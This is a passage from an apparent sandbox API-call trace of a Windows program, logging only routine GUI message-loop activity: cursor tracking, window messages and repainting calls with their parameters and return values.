Msg=0x20, wParam=0xc0060, lParam=0x2000001) returned 0x0 [0282.705] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0282.705] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0282.705] GetCapture () returned 0x0 [0282.705] PtInRect (lprc=0x18fd3c, pt=0x16b) returned 0 [0282.705] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fd30 | out: lpPoint=0x18fd30) returned 1 [0282.705] WindowFromPoint (Point=0x342) returned 0xc0060 [0282.705] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x2400342) returned 0x1 [0282.705] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fd10 | out: lpdwProcessId=0x18fd10) returned 0x8cc [0282.705] GetCurrentProcessId () returned 0x8d0 [0282.705] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0282.705] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fd14 | out: lpPoint=0x18fd14) returned 1 [0282.705] PtInRect (lprc=0x18fd08, pt=0x16b) returned 0 [0282.705] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x200, wParam=0x0, lParam=0x13b016b) returned 0x0 [0282.706] GetKeyState (nVirtKey=18) returned 1 [0282.706] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0282.706] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=834, y=576)) returned 1 [0282.706] WindowFromPoint (Point=0x343) returned 0xb0168 [0282.706] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x84, wParam=0x0, lParam=0x23d0343) returned 0x1 [0282.706] GetWindowThreadProcessId (in: hWnd=0xb0168, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0282.706] GetCurrentProcessId () returned 0x8d0 [0282.706] GetPropA (hWnd=0xb0168, lpString=0xc167) returned 0x2c87dd8 [0282.706] ClientToScreen (in: hWnd=0xb0168, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0282.706] PtInRect (lprc=0x18fed0, pt=0x16c) returned 0 [0282.706] GetCapture () returned 0x0 [0282.706] WaitMessage () returned 1 [0282.718] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0282.718] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x24a0342) returned 0x1 [0282.718] GetCursorPos (in: lpPoint=0x18fc8c | out: lpPoint=0x18fc8c*(x=834, y=586)) returned 1 [0282.718] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fc74 | out: lpPoint=0x18fc74) returned 1 [0282.718] PtInRect (lprc=0x18fc68, pt=0x16b) returned 0 [0282.718] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x2000001) returned 0x0 [0282.718] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0282.718] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0282.718] GetCapture () returned 0x0 [0282.718] PtInRect (lprc=0x18fd3c, pt=0x16b) returned 0 [0282.718] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fd30 | out: lpPoint=0x18fd30) returned 1 [0282.718] WindowFromPoint (Point=0x342) returned 0xc0060 [0282.718] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x24a0342) returned 0x1 [0282.718] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fd10 | out: lpdwProcessId=0x18fd10) returned 0x8cc [0282.718] GetCurrentProcessId () returned 0x8d0 [0282.719] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0282.719] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fd14 | out: lpPoint=0x18fd14) returned 1 [0282.719] PtInRect (lprc=0x18fd08, pt=0x16b) returned 0 [0282.719] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x200, wParam=0x0, lParam=0x145016b) returned 0x0 [0282.719] GetKeyState (nVirtKey=18) returned 1 [0282.719] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0282.719] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=834, y=586)) returned 1 [0282.719] WindowFromPoint (Point=0x342) returned 0xc0060 [0282.719] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x24a0342) returned 0x1 [0282.719] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0282.719] GetCurrentProcessId () returned 0x8d0 [0282.719] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0282.719] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0282.719] PtInRect (lprc=0x18fed0, pt=0x16b) returned 0 [0282.719] GetCapture () returned 0x0 [0282.719] WaitMessage () returned 1 [0282.735] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0282.735] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0282.735] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0282.735] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0282.736] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0282.736] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=834, y=586)) returned 1 [0282.736] WindowFromPoint (Point=0x33f) returned 0xc0060 [0282.736] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x24b033f) returned 0x1 [0282.736] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0282.736] GetCurrentProcessId () returned 0x8d0 [0282.736] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0282.736] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0282.736] PtInRect (lprc=0x18fed0, pt=0x168) returned 0 [0282.736] GetCapture () returned 0x0 [0282.736] WaitMessage () returned 1 [0282.798] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0282.798] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0282.798] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0282.799] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0282.799] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0282.799] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=834, y=586)) returned 1 [0282.799] WindowFromPoint (Point=0x342) returned 0xc0060 [0282.799] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x24a0342) returned 0x1 [0282.799] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0282.799] GetCurrentProcessId () returned 0x8d0 [0282.799] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0282.799] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0282.799] PtInRect (lprc=0x18fed0, pt=0x16b) returned 0 [0282.799] GetCapture () returned 0x0 [0282.799] WaitMessage () returned 1 [0282.814] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0282.814] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2530342) returned 0x1 [0282.815] GetCursorPos (in: lpPoint=0x18fc98 | out: lpPoint=0x18fc98*(x=834, y=595)) returned 1 [0282.815] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fc80 | out: lpPoint=0x18fc80) returned 1 [0282.815] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0282.815] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0282.815] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0282.815] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0282.815] GetCapture () returned 0x0 [0282.815] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd3c | out: lpPoint=0x18fd3c) returned 1 [0282.815] WindowFromPoint (Point=0x342) returned 0x10340 [0282.815] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2530342) returned 0x1 [0282.815] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fd1c | out: lpdwProcessId=0x18fd1c) returned 0x8cc [0282.815] GetCurrentProcessId () returned 0x8d0 [0282.815] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0282.815] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd20 | out: lpPoint=0x18fd20) returned 1 [0282.815] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x200, wParam=0x0, lParam=0x70024) returned 0x0 [0282.815] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f958 | out: lpdwProcessId=0x18f958) returned 0x8cc [0282.815] GetCurrentProcessId () returned 0x8d0 [0282.815] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0282.815] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18fbc8) returned 0x0 [0282.815] GetKeyState (nVirtKey=18) returned 1 [0282.816] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0282.816] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0282.816] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0282.816] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0282.816] GetClientRect (in: hWnd=0x10340, lpRect=0x18f8c8 | out: lpRect=0x18f8c8) returned 1 [0282.816] FillRect (hDC=0x1f01019b, lprc=0x18f8c8, hbr=0xe100186) returned 1 [0282.816] IsIconic (hWnd=0xc0060) returned 0 [0282.816] IsIconic (hWnd=0xc0060) returned 0 [0282.816] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f7a8 | out: lpRect=0x18f7a8) returned 1 [0282.816] FillRect (hDC=0x3d01069e, lprc=0x18f7a8, hbr=0xe100186) returned 1 [0282.816] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3d01069e, lParam=0x4) returned 0x0 [0282.817] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x3d01069e, lParam=0x10340) returned 0xe100186 [0282.817] GetSysColor (nIndex=8) returned 0x0 [0282.817] SetTextColor (hdc=0x3d01069e, color=0x0) returned 0x0 [0282.817] GetSysColor (nIndex=15) returned 0xf0f0f0 [0282.817] SetBkColor (hdc=0x3d01069e, color=0xf0f0f0) returned 0xf0f0f0 [0282.817] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0282.817] GetCurrentProcessId () returned 0x8d0 [0282.817] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0282.817] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0282.817] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0282.817] GetCurrentProcessId () returned 0x8d0 [0282.817] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0282.817] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0282.817] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0282.817] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18e78c) returned 0x7 [0282.818] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18e764) returned 0x7 [0282.818] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0282.818] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=834, y=595)) returned 1 [0282.818] WindowFromPoint (Point=0x342) returned 0x10340 [0282.818] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2530342) returned 0x1 [0282.818] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0282.818] GetCurrentProcessId () returned 0x8d0 [0282.818] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0282.818] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0282.818] GetCapture () returned 0x0 [0282.819] WaitMessage () returned 1 [0282.835] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0282.835] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2350342) returned 0x1 [0282.835] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=834, y=565)) returned 1 [0282.835] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0282.835] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0282.836] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0282.836] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0282.836] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0282.836] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0282.836] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0282.836] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0282.836] GetCapture () returned 0x0 [0282.836] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0282.837] WindowFromPoint (Point=0x342) returned 0x1035a [0282.837] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2350342) returned 0x1 [0282.837] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0282.837] GetCurrentProcessId () returned 0x8d0 [0282.837] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0282.837] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0282.837] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x200, wParam=0x0, lParam=0xe80143) returned 0x0 [0282.837] GetKeyState (nVirtKey=18) returned 1 [0282.837] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0282.837] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0282.837] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0282.837] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0282.837] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f968 | out: lpdwProcessId=0x18f968) returned 0x8cc [0282.837] GetCurrentProcessId () returned 0x8d0 [0282.837] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0282.837] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18fbd8) returned 0x0 [0282.837] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0282.837] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0282.837] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0282.838] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0282.838] GetClientRect (in: hWnd=0x10340, lpRect=0x18f8c8 | out: lpRect=0x18f8c8) returned 1 [0282.838] FillRect (hDC=0x1f01019b, lprc=0x18f8c8, hbr=0xe100186) returned 1 [0282.838] IsIconic (hWnd=0xc0060) returned 0 [0282.838] IsIconic (hWnd=0xc0060) returned 0 [0282.838] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f7a8 | out: lpRect=0x18f7a8) returned 1 [0282.838] FillRect (hDC=0x3d01069e, lprc=0x18f7a8, hbr=0xe100186) returned 1 [0282.838] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3d01069e, lParam=0x4) returned 0x0 [0282.838] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x3d01069e, lParam=0x10340) returned 0xe100186 [0282.839] GetSysColor (nIndex=8) returned 0x0 [0282.839] SetTextColor (hdc=0x3d01069e, color=0x0) returned 0x0 [0282.839] GetSysColor (nIndex=15) returned 0xf0f0f0 [0282.839] SetBkColor (hdc=0x3d01069e, color=0xf0f0f0) returned 0xf0f0f0 [0282.839] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0282.839] GetCurrentProcessId () returned 0x8d0 [0282.839] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0282.839] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0282.839] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0282.839] GetCurrentProcessId () returned 0x8d0 [0282.839] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0282.839] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0282.839] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0282.839] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18e78c) returned 0x7 [0282.839] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18e764) returned 0x7 [0282.840] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0282.840] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=834, y=565)) returned 1 [0282.840] WindowFromPoint (Point=0x341) returned 0x1035a [0282.840] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2360341) returned 0x1 [0282.840] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0282.840] GetCurrentProcessId () returned 0x8d0 [0282.840] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0282.840] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0282.840] GetCapture () returned 0x0 [0282.840] WaitMessage () returned 1 [0282.876] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0282.876] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0282.876] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0282.876] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0282.876] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=834, y=565)) returned 1 [0282.876] WindowFromPoint (Point=0x342) returned 0x1035a [0282.876] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2350342) returned 0x1 [0282.876] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0282.876] GetCurrentProcessId () returned 0x8d0 [0282.876] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0282.876] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0282.876] GetCapture () returned 0x0 [0282.876] WaitMessage () returned 1 [0282.879] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0282.879] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x23f0342) returned 0x1 [0282.879] GetCursorPos (in: lpPoint=0x18fc8c | out: lpPoint=0x18fc8c*(x=834, y=575)) returned 1 [0282.879] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fc74 | out: lpPoint=0x18fc74) returned 1 [0282.879] PtInRect (lprc=0x18fc68, pt=0x16b) returned 1 [0282.879] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x2000001) returned 0x0 [0282.879] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0282.880] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0282.880] GetCapture () returned 0x0 [0282.880] PtInRect (lprc=0x18fd3c, pt=0x16b) returned 1 [0282.880] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fcf4 | out: lpPoint=0x18fcf4) returned 1 [0282.880] WindowFromPoint (Point=0x342) returned 0xc0060 [0282.880] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x23f0342) returned 0x1 [0282.880] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fcd4 | out: lpdwProcessId=0x18fcd4) returned 0x8cc [0282.880] GetCurrentProcessId () returned 0x8d0 [0282.880] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0282.880] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fcd8 | out: lpPoint=0x18fcd8) returned 1 [0282.880] PtInRect (lprc=0x18fccc, pt=0x16b) returned 1 [0282.880] GetKeyState (nVirtKey=18) returned 1 [0282.880] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0282.880] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=834, y=575)) returned 1 [0282.880] WindowFromPoint (Point=0x342) returned 0xc0060 [0282.880] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x23f0342) returned 0x1 [0282.880] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0282.880] GetCurrentProcessId () returned 0x8d0 [0282.880] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0282.880] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0282.880] PtInRect (lprc=0x18fed0, pt=0x16b) returned 1 [0282.880] GetCapture () returned 0x0 [0282.880] WaitMessage () returned 1 [0282.892] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0282.892] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x2490342) returned 0x1 [0282.892] GetCursorPos (in: lpPoint=0x18fc8c | out: lpPoint=0x18fc8c*(x=834, y=585)) returned 1 [0282.892] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fc74 | out: lpPoint=0x18fc74) returned 1 [0282.892] PtInRect (lprc=0x18fc68, pt=0x16b) returned 0 [0282.892] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x2000001) returned 0x0 [0282.893] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0282.893] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0282.893] GetCapture () returned 0x0 [0282.893] PtInRect (lprc=0x18fd3c, pt=0x16b) returned 0 [0282.893] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fd30 | out: lpPoint=0x18fd30) returned 1 [0282.893] WindowFromPoint (Point=0x342) returned 0xc0060 [0282.893] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x2490342) returned 0x1 [0282.893] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fd10 | out: lpdwProcessId=0x18fd10) returned 0x8cc [0282.893] GetCurrentProcessId () returned 0x8d0 [0282.893] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0282.893] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fd14 | out: lpPoint=0x18fd14) returned 1 [0282.893] PtInRect (lprc=0x18fd08, pt=0x16b) returned 0 [0282.893] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x200, wParam=0x0, lParam=0x144016b) returned 0x0 [0282.893] GetKeyState (nVirtKey=18) returned 1 [0282.893] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0282.893] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0282.893] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0282.893] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0282.894] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 